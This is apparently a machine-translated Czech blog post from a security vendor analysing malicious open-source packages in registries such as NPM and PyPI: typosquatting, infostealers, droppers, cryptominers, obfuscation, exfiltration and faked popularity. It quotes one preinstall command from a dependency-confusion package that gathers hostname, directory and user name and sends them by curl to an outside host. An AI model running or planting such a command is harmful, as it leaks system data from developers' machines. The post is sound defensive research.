V předchozí epizodě, Škodlivé balíčky s otevřeným zdrojovým kódem: Problém, diskutovali jsme o tom, proč byli aktéři hrozby tak nadšení z publikování nových škodlivých komponent nebo vkládání malwaru do nejnovějších verzí stávajících komponent: Open source infrastruktura umožňuje komukoli kdekoli vytvořit dočasný účet v registru komponent (jako je NPM, PyPI, Docker Hub nebo Visual Studio Marketplace) nebo platformě pro kolaborativní vývoj (jako je GitHub). Nulové náklady a mnoho příležitostí k využití nadměrné důvěry, kterou softwarové týmy tradičně mají v komponenty třetích stran.
Asymetrie mezi tím, jak snadno útočníci šíří malware pomocí infrastruktury dostupné pro open source, a jak obtížné je pro organizace vyvíjející software (pro všechny?) vyhnout se infekci malwarem (a dodávat malware v softwaru, který distribuují pro ostatní), vedla k tomu, že v loňském roce bylo téměř dosaženo čtvrt milionu škodlivých balíčků.
Jedná se o problém takového rozsahu, že ho žádná samostatná organizace nedokáže vyřešit, a komunita se nachází v procesu přepracování procesu open source, pokud jde o důvěru, principy zabezpečení již od začátku a zabezpečení již od návrhu a životní cyklus komponent. Na tyto myšlenky se podíváme v příští epizodě. Ochrana před škodlivými balíčky s otevřeným zdrojovým kódem: Co (ne)funguje.
Nezapomeňte, že mluvíme o softwarových komponentách, které většinou odpovídají softwarové balíčky: opakovaně použitelné komponenty zabalené tak, aby se na ně dalo odkazovat jako na závislost v softwarovém manifestu, a nainstalované pomocí správce balíčků nebo nástroje pro sestavení. Upozorňujeme, že tento případ by mohl být rozšířen o veřejné komponenty. kontejnerové obrázky (používané běhovými prostředími kontejnerů a orchestračními platformami, jako je Kubernetes) a rozšíření softwarových nástrojů (pro budování, automatizaci a nasazení).
Zde analyzujeme, jak to útočná taktika založená na škodlivých komponentách funguje, dle minulých příkladů a toho, co jsme viděli v naší platformě pro včasné varování před malwarem (MEW). Škodlivé komponenty rozebereme v různých dimenzích:
(1) způsob zvolený pro distribuci (použitý registr, v nové nebo existující komponentě a technika použitá k infikování publikované verze komponenty), (2) jak je malware aktivován nebo spouštěn, (3) škodlivé chování, tj. jaké škodlivé akce jsou pozorovány a jaká je motivace útočníka, (4) jaké techniky jsou běžné pro zamlžování, skrytí pro nepozorovanost, laterální pohyb, komunikaci s hostiteli velení a řízení (C2) atd.; a (5) techniky pro získání dostatečné popularity a důvěry, aby oběti nakonec komponentu nainstalovaly.
Zvolený distribuční mechanismus
Pozorujeme „Hluk v pozadí„nenáročných škodlivých balíčků, které používají typosquatting k phishingu neopatrných vývojářů s překlepem v názvu balíčku pro jejich závislost. Mnoho populárních balíčků dostává záplavu podobně pojmenovaných balíčků s překlepy s očekáváním, že některé neopatrné vývojáře phishingem napadnou.“
Používají dočasný účet, publikují skupinu balíčků typu „typosquat“, vytvoří další a publikují další skupinu… S trochou automatizace a vynalézavosti mohou dosáhnout určité sofistikovanosti, ale obvykle jsou poměrně triviální. Interně jim říkáme „ančovičky„Hlavním cílem je krádež přihlašovacích údajů, ale občas se setkáváme se spywarem, který exfiltruje zdrojový kód nebo citlivá data, jako jsou osobně identifikovatelné informace (PII), zachycuje schránku a má další hrozby.“
Zničehonic se objevují sofistikovanější škodlivé komponenty, „žraloky“. Menšina z nich je zaměřena na konkrétní skupiny nebo organizace, obvykle pomocí krypto odčerpávačů nebo webových skimmerů, které se aktivují podmíněně, možná podle přístupu pozorovaného v incident proudu událostí dešifrování útočného datového zatížení pouze tehdy, když je na balíček odkazováno z cílového balíčku.
Distribuční mechanismus byl analyzován ve vynikající a dnes již klasické práci „Sbírka nožů Backstabbera: Přehled útoků na dodavatelský řetězec softwaru s otevřeným zdrojovým kódem“, což je nutnost. Určitě jste už tento pěkný graf viděli:
Byly prozkoumány všechny možnosti, včetně nových i stávajících balíčků; ovlivnění zdrojového kódu, systému sestavení nebo samotné zabalené komponenty; použití ukradených přihlašovacích údajů nebo sociálního inženýrství; únos opuštěných účtů a repozitářů nebo otrava těch spravovaných. Některé útoky dostaly názvy (Typosquatting, Zmatek ohledně závislostí, Zjevný zmatek, Krádeže repozitářůatd.) a již byly projednány jinde.
A co vybrané registry?
NPM i nadále vede v celkovém počtu škodlivých balíčků, ale letos jsme zaznamenali prudký nárůst u PyPI. Python je oblíbený ekosystém pro datovou vědu a strojové učení. Hustota malwaru je nyní v PyPI dokonce vyšší než v NPM.
Jak se malware spouští
Škodlivé balíčky se spouštějí během instalace pouze ve 4 z 10 případů (v posledních letech se to blížilo 6 z 10). Zbytek spouští škodlivé chování za běhu, přičemž 1 ze 100 se spustí během testů. Zdá se, že útočníci vědí, že nekontrolované spouštění instalačních skriptů bylo na mnoha místech zakázáno.
Co dostanou ti zlí?
Uvedeme kategorie škodlivého chování, přičemž nejoblíbenější budou první. Upozorňujeme, že dopad se může značně lišit: a stěrač je tvrdohlavě destruktivní, ale není běžný a byl pozorován pouze v několika případech, souvisejících s cílenými kybernetickými válečnými kampaněmi nebo brutálním hacktivismem. Následující kategorie jsou docela běžné:
- InfoStealer / Vypouštění pověřeníZdaleka nejčastější, přes 90 % nesofistikovaných útoků, jsou jednoduché útoky typu stealer, které hledají hlavně přihlašovací údaje, jako jsou hesla, přístupové tokeny, API klíče a soukromé klíče (pro SSH a podobně). Pravděpodobně je to nejjednodušší na napsání (spolu s wipery?). Vyjmenují známé soubory/adresáře a další zdroje (např. klíče registru), zabalí obsah a odešlou tato data na server C2. Myšlenka je jednoduchá: „Publikuju stealer pro phishingové přihlašovací údaje, abych je později mohl použít ke spuštění cíleného útoku.“
Pozorované sítě C2 jsou obvykle levné a špinavé, jako například kanály Telegramu nebo Tunelovací nástroje podobné ngroku (často ve formě reverzních proxy serverů vystavených prostřednictvím IP adres VPN). Existují stovky (!) možností, s mnoha projekty GitHubu pod téma o krádeži heselSpecializace jako keyloggery jsou vzácné pro škodlivé balíčky a obrazy kontejnerů, ale častější jsou v rozšířeních nástrojů, kde se očekává interakce uživatele.
- Dropper / DownloaderDruhý v popularitě, obvykle na prvním místě u vícestupňových útoků. Více než jedna ze tří škodlivých komponent má droppery (pokud je škodlivý obsah součástí balíčku) nebo downloadery (obsah je stahován z koncového bodu pod kontrolou útočníka). Obsah je často známá binární varianta malwaru a je spouštěn a někdy i uchováván pro instalaci zadních vrátek, spywaru, kryptoměnových odčerpávačů a dalších případů použití. Stažený nebo nasazený obsah zahajuje útok druhé fáze s veškerou silou poskytovanou stávajícími binárními soubory malwaru. Binární soubory mohou být distribuovány v rámci balíčku, často maskované jako obrázky nebo údajně neškodné typy souborů, aby se zabránilo odhalení při připojování k neočekávaným webům.
- Zloději / těžaři kryptoměnFinančně motivovaní protivníci jsou ochotni využít vaše cloudová aktiva k provozování kryptoměnových těžařů (dokonce detekují, zda běží na cloudovém virtuálním počítači). Nezajímají se o to, nízký poměr zisku 1 dolar za každých 53 dolarů účtovaných oběti za odcizenou cloudovou infrastrukturu. Oběti si to nemusí uvědomit, dokud neobdrží neočekávaný účet. Naštěstí to přichází a odchází. Cryptojacking kampaně ve škodlivých balíčcích se občas objeví a pak zmizí, přičemž se jedná o phishing pro uživatele peněženek nebo nakonec o cílení na poskytovatele peněženky, jako v případě Útok na účetní knihu.
Jiné chování, jako je nasazení backdoor pro vzdálené spuštění kódu otevřením reverzního shellu je nyní méně časté než v minulosti. Například 123rf_contributor_web balíček (nyní odstraněný z registru) se otevírá bez jakéhokoli zmatení, reverzní shell zkopírovaný a vložený z Tahák z obrácené skořápky:
Kromě legitimních a škodlivých komponent jsme zaznamenali několik případů zneužití, včetně:
Spamové balíčky
Existují tisíce malých balíčků, většinou v NPM, bez malwaru, ale slibujících snadný výdělek, „hadí olej“, odkazy na nabídky Viagry a tak dále. Několik uživatelů publikuje takový spam a zabírá registru spoustu šířky pásma. Další aktér (aktéři) pravděpodobně z Indonésie se pokusil (pokusili) z toho vytěžit prospěch tím, že... zneužívání čajeHodnocení určené k odměňování vývojářů s otevřeným zdrojovým kódem vytvořením desítek tisíc vzájemně propojených balíčků NPM s příslušnými fiktivními repozitáři GitHubu. Toto je jasné porušení podmínek použití.
Odměna za chyby a podvody s bezpečnostním výzkumem
Když se balíček popisuje jako zprostředkovatel odcizení dat pro dobré účely, jako je detekce bezpečnostních chyb pro programy odměn za chyby nebo výzkum určitých aspektů ekosystému. V této kategorii jsme viděli tisíce balíčků, které načítají identifikační, ale ne příliš citlivá data, na adresu Burp Collaborator z PortSwiggeru (např. hostitel v doméně oastify.com). Často jsme pozorovali napodobeniny... Zmatek ohledně závislostí důkaz konceptu od Alexe Birsana, jako například aurora-webmail-pro balíček (odstraněný z registru), který jednoduše spustí tento nepříjemný kód v předinstalačním skriptu:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") A také zahrnoval „Toto je jednoduchý útok na zmatek závislostí a důkaz konceptupopis prohlášení o vyloučení odpovědnosti v balíček.jsonToto je jasné porušení podmínek služby, a to i bez zlého úmyslu.
Dobré zprávy? Zatím jsme se nesetkali s útoky ransomwaru prováděnými prostřednictvím škodlivých komponent. Z neznámých důvodů se zdá, že kyberzločinci preferují tradičnější mechanismy phishingu e-mailů, protokolu RDP a stahování souborů přímo z počítače.
Další pozorované techniky
Pro vytrvalost, vyhýbání se obraně, sběr informací, komunikaci s hostiteli velení a řízení a únik z dané oblasti bylo použito mnoho technik.
Perzistence v škodlivých komponentách se získává pomocí funkcí perzistence v binárním malwaru druhé fáze, ale někdy se chování nachází v kódu balíčku, přičemž nejčastěji se jedná o naplánované úlohy a změny v registru systému Windows.
Obfuscation je běžné, ale nenáročné. Většina balíčků s překlepy (pamatujte na „ančovičky„?) vůbec nepoužívají obfuskaci; mnoho z nich používá buď triviální metody (kódování base64/hex nebo substituční šifry jako rot13), nebo dostupné obfuskátory kódu a minifikaci, což lze snadno zvrátit pomocí správných nástrojů. Pouze „žraloci“ dělají skutečnou, hard-core obfuskaci, kterou je obtížné zpětně analyzovat.
Zamlžování může útok skrýt, ale proč by měl být kód v komponentě s otevřeným zdrojovým kódem zamlžován? Existují důkazy o tom, že je třeba něco skrývat před zraky? Našli jsme mnoho případů neškodných balíčků, které používají zamlžování k ochraně duševního vlastnictví, což je v rozporu s pojmem „open source“. Zamlžování lze použít jako důkaz o malwaru, ale není to přesvědčivé. Je také obtížné jej de-obfuskovat.
Evasion z obranných kontrol používá jednoduché techniky. Škodlivý kód je často chráněn v zkusit … chytit bloky, které ignorují jakékoli výjimky, takže abnormální aktivita se v protokolech nezobrazuje. Ověřování prostředí (běžícího ve virtuálním počítači nebo kontejneru) je vzácné, s výjimkou malwaru cíleného na konkrétní organizaci nebo prostředí.
Další technikou, která se používala k vyhnutí se detekci, bylo maskování binárních souborů v obrázcích a PDF souborech (druh steganografie).
Protože nejběžnějšími škodlivými komponentami jsou infostealery, sběr dat je nezbytné. Tajné údaje (hesla, přístupové tokeny, klíče API, kryptografické klíče) jsou běžně skenovány v logovacích souborech, proměnných prostředí a dokonce i ve schránce (což se týká bankovních trojských koní a kryptoměnových stealerů). Běžný je také únik zdrojového kódu, protože instalace balíčků se často provádí ve vývojovém uzlu, kde mohou být klonovány interní git repozitáře. Viděli jsme balíčky, které vyjmenovávaly adresáře a hledaly git repozitáře. Hledání umístění jako .env, private.pem, settings.py, app.js nebo application.properties je poměrně běžné.
Exfiltrace je další široce používanou akcí. Jen menšina škodlivých balíčků se vůbec snaží skrýt cíl extrahovaných dat. Telegramové kanály a tunely podobné ngrokům se často používají. A existuje jich mnoho domény na bílé listině, které se obvykle používají k exfiltraci.
Jiné techniky, jako je eskalace privilegií nebo laterální přesun, byly méně běžné.
Získávání popularity a důvěry
Představte si technologického podvodníka s hotovou vražednou zákeřnou věcí, který si říká: „Jak můžu tenhle kus sračky udělat důvěryhodným pro nic netušící idioty?“.
To se promítá do toho, jak vytvořit položku pro škodlivou komponentu, která by zobrazovala mnoho hvězdiček / forků (pro popularitu), plus verze / problémy a pull requests (pro aktivitu). Cílem je získat fiktivní popularitu (hvězdy) a osoby závislé na aktivitě a přesvědčivý vzhled, pokud jde o relevanci a udržení.
Registr nekontroluje, zda se obsah projektu GitHub shoduje s obsahem balíčku.To je v dodavatelském řetězci softwaru dobře známý problém. Veřejné registry jsou obrovské propadliny, které polykají vše, co se na ně vrhne. Můžete propojit libovolný repozitář.
Pokud se škodlivý balíček překlepem podobá populárnímu balíčku, je to snadné: stačí v manifestu závislostí použitém k vytvoření balíčku a jeho publikování do registru odkázat na existující repozitář GitHub. U nových balíčků na falešném repozitáři GitHub budete možná potřebovat více vynalézavosti, možná vytvoření falešného pozorování hvězd/rozvětvování Účty GitHub pomocí skriptů.
A pokud je obsah vašeho balíčku dostatečně podobný repozitáři, sem tam vmíchejte pár dobře navržených změn… Můžete vložit svůj malware do nového balíčku, který se podobá populárnímu balíčku a odkazuje na repozitář stávajícího balíčku, a čekat na překlepy. Pokud by se někdo odvážil porovnat obsah tarballu balíčku s obsahem repozitáře GitHub, rozdíly v bodech vložení malwaru by mohly být snadno přehlédnuty. Tento přístup jsme viděli již mnohokrát.
Mechanismus, který by komponentě umožnil vytvořit prohlášení o původu, způsobu sestavení balíčku, jeho zdrojích a kým, by byl vítán. Ale to je jiný příběh.
Je komponenta X malware?
Existuje (komplexní) databáze škodlivých balíčků? Ne. Zranitelnosti s otevřeným zdrojovým kódem mají přiřazeno CVE ID, ale pouze několik škodlivých balíčků (zejména ty, které se objevují v titulcích) ho dostane. CWE pro škodlivé balíčky je CWE-506 (vložený škodlivý kód).
Obvyklé nástroje pro boj s malwarem (VirusTotal, MalwareBazaar, SOREL-20M…) nemají pro škodlivé komponenty specifická opatření. To by bylo vítáno!
Existují ukázkové databáze a datové sady pro analýzu (používáme jich několik), ale záznamy se aktualizují pouze tehdy, když je známý škodlivý balíček, což je často příliš pozdě. Pokud máte zájem, OpenSSF Škodlivé balíčky je pěkný začátek.
V dalším příspěvku si probereme, jak zjistit, zda je daný balíček škodlivý. Spoiler: ano, existují způsoby, jak včas kontrolovat škodlivé komponenty během expozičního okna, než registr odstraní známou škodlivou komponentu.
Další čtení
V další epizodě „Ochrana před škodlivými balíčky s otevřeným zdrojovým kódem: Co (ne)funguje" Probereme, co dělat a nedělat v oblasti bezpečnosti open source. Většina odborníků na bezpečnost má intuici o tom, jak se s touto hrozbou vypořádat, ale mylných představ je spousta.
Probereme, proč jsou tyto myšlenky chybné a jak takové mylné představy přispívají k popularitě tohoto útočného mechanismu a k obrovskému riziku, kterému organizace čelí. Poté se budeme zabývat tím, co funguje a jaké úsilí a zdroje jsou s tím spojeny.
Také se budeme věnovat vývoji škodlivých balíčků z hlediska jejich záměru, mechanismu vkládání a technik útoku.
Zůstaňte naladěni!
